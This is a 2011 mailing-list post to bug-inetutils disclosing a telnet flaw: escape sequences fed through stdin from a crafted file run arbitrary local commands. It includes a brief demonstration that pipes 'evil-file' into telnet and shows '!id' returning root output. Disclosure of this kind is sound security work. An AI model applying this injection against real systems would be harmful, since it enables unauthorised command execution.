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[bug-inetutils] telnet security advisory


From: sha0
Subject: [bug-inetutils] telnet security advisory
Date: Wed, 28 Sep 2011 02:06:18 +0200

Hello,

Is posible to inject a scape sequence via stdin to telnet, and arbitrary comands will be executed,

for example:


 #  cat evil-file | telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

telnet> !id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),1
0(wheel),19(log)
Connection closed by foreign host.


I think is very dangerous despite of few admins use telnet for moving file like this,
there is attached a detailed security advisory.

regards

Attachment: 2011-002.adv
Description: Binary data


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